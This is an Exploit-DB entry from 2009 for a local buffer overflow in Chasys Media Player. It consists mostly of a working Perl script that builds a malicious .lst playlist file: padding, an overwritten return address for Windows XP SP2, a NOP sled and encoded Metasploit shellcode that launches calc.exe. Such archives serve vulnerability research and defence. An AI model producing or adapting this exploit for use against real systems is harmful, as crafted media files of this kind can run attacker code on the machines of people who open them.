Chasys Media Player - '.lst Playlist' Local Buffer Overflow

EDB-ID:

8246

CVE:

52846

Author:

zAx

Type:

local

Platform:

Windows

Published:

2009-03-19

#!/usr/bin/perl
# --------------------------------------------------------------
# Chasys Media Player (.lst playlist) Local Buffer Overflow Exploit
# Discovered and Exploited By : zAx
# Thanks to all my friends !
# --------------------------------------------------------------
my $header = "\x5B\x70\x6C\x61\x79\x6C\x69\x73\x74\x5D\x0A\x46\x69\x6C\x65\x31\x3D";
my $junk = "\x41" x 260;
my $eip = "\x5D\x38\x82\x7C"; # Windows XP SP2 English ..
my $nopsleds = "\x90" x 19; # I Love you
# win32_exec -  EXITFUNC=seh CMD=calc.exe Size=164 Encoder=PexFnstenvSub http://metasploit.com/
my $sc =
"\x31\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x34".
"\x92\x42\x83\x83\xeb\xfc\xe2\xf4\xc8\x7a\x06\x83\x34\x92\xc9\xc6".
"\x08\x19\x3e\x86\x4c\x93\xad\x08\x7b\x8a\xc9\xdc\x14\x93\xa9\xca".
"\xbf\xa6\xc9\x82\xda\xa3\x82\x1a\x98\x16\x82\xf7\x33\x53\x88\x8e".
"\x35\x50\xa9\x77\x0f\xc6\x66\x87\x41\x77\xc9\xdc\x10\x93\xa9\xe5".
"\xbf\x9e\x09\x08\x6b\x8e\x43\x68\xbf\x8e\xc9\x82\xdf\x1b\x1e\xa7".
"\x30\x51\x73\x43\x50\x19\x02\xb3\xb1\x52\x3a\x8f\xbf\xd2\x4e\x08".
"\x44\x8e\xef\x08\x5c\x9a\xa9\x8a\xbf\x12\xf2\x83\x34\x92\xc9\xeb".
"\x08\xcd\x73\x75\x54\xc4\xcb\x7b\xb7\x52\x39\xd3\x5c\x62\xc8\x87".
"\x6b\xfa\xda\x7d\xbe\x9c\x15\x7c\xd3\xf1\x23\xef\x57\xbc\x27\xfb".
"\x51\x92\x42\x83";
my $exploit = $header.$junk.$eip.$nopsleds.$sc;
$file = "zAx.lst";
open(my $FILE, ">>$file") or die "Cannot open $file: $!";
print $FILE $exploit ;
close($FILE);
print "Done \n";

# milw0rm.com [2009-03-19]